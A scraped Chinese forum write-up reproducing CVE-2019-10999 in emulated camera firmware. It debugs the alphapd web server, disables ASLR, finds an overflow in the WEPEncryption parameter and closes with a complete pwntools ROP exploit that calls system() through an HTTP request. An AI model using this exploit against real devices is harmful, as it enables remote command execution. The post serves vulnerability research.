[原创]CVE-2019-10999复现学习
source link: https://bbs.pediy.com/thread-271170.htm
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
[原创]CVE-2019-10999复现学习-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com
https://github.com/yywz1999/docker-qemu-system
下载好后按照readme安装,连接ssh上去。
然后去打包固件
tar -zcvf cpio.tar.gz cpio-root
上传到docker
切换到root权限
mount
-
o bind
/
dev
/
.
/
dev
/
mount
-
t proc
/
proc
/
.
/
proc
chroot . ./bin/sh进入sh。
./etc_ro/rcS中找到了internet.sh文件。查找这个文件它位于: ./sbin/internet.sh
在这个文件中又看到了一个 [lan.sh](http://lan.sh)
【./sbin/lan.sh】文件。
继续查看:
发现了关于web启动的相关信息。
确定了这个固件启动web服务的程序为: alphapd
killall
-
q alphapd
sleep
1
alphapd &
无法打开pid file,创建一个
创建nvramd.pid
.
/
gdbserver
-
mipsel :
23946
.
/
bin
/
alphapd
调试查看v4的值
可以发现这里是通过 gpio
接口来获取IP的。但是我们是仿真的,并没有这个接口。所以我们直接去Patch。
patch后运行。
关闭aslr:echo
0
>
/
proc
/
sys
/
kernel
/
randomize_va_space
.
/
gdbserver
-
mipsel :
23946
-
-
attach alphapdPID
在gdb-multiarch中
set
arch mips
set
endian little
target remote
192.168
.
50.214
:
40496
通过对程序分析,寻找敏感函数,最终找到了一个 strcpy
用户可控的输入位置
可以看到这里的 v11
只有四个字节。 v8
是由 v10
赋值,而他是从 WEPEncryption
获取的。而且并没有长度检查。
交叉引用找到调用点
找到了 formDefineWireless
函数
在web页面中找到了相似关键字
于是测试发包
程序crash,并且控制了PC寄存器。
于是我们开始测试溢出长度
> cyclic
-
l
0x6161616b
40
下面我们就可以来寻找gadget打这个溢出。
Libc基地址
0x77eda000
想要打出system的话,我们这里就需要来控制 a0
寄存器作为函数调用的参数。
这是找到的gadget
.text:
0004A604
addiu $s2, $sp,
0x1E8
+
var_F8
.text:
0004A608
move $a0, $s2
.text:
0004A60C
move $t9, $s0
.text:
0004A610
jalr $t9 ; sub_49DF0
栈中地址存到 s2
寄存器中,然后 s0
寄存器存入 t9
然后调用函数。
所以我们的exp就可以写了
import
socket
from
pwn
import
*
context.log_level
=
'debug'
context.arch
=
"mips"
Libc_Addr
=
0x77eda000
system_Addr
=
0x0045080
cmd
=
"echo${IFS}'Pwn!'"
gadget
=
0x004A608
payload
=
cyclic(
16
).upper()
payload
+
=
p32(Libc_Addr
+
system_Addr)
# S0
# p -> 0x77F24604
payload
+
=
'BBBB'
# S1
payload
+
=
p32(
0x7fffe2a8
)
# S2
payload
+
=
'DDDD'
# S3
payload
+
=
'EEEE'
payload
+
=
'FFFF'
payload
+
=
p32(Libc_Addr
+
gadget)
# PC
payload
+
=
'HHHH'
payload
+
=
cmd
if
__name__
=
=
'__main__'
:
#key = "Content-Type:text/html;charset:utf-8\r\n"
RHOST
=
'127.0.0.1'
RPORT
=
40080
request
=
""
request
+
=
"GET /wireless.htm?WEPEncryption={} HTTP/1.1\r\n"
.
format
(payload)
request
+
=
"Host: {}:{}\r\n"
.
format
(RHOST,
str
(RPORT))
request
+
=
"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
request
+
=
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
request
+
=
"Accept-Language: en-US,en;q=0.5"
request
+
=
"Accept-Encoding: gzip, deflate"
request
+
=
"Connection: close"
request
+
=
"Upgrade-Insecure-Requests: 1"
request
+
=
"\r\n\r\n"
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
s.send(request)
print
(request)
# msg = s.recv(1024)
s.close()
# print msg
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK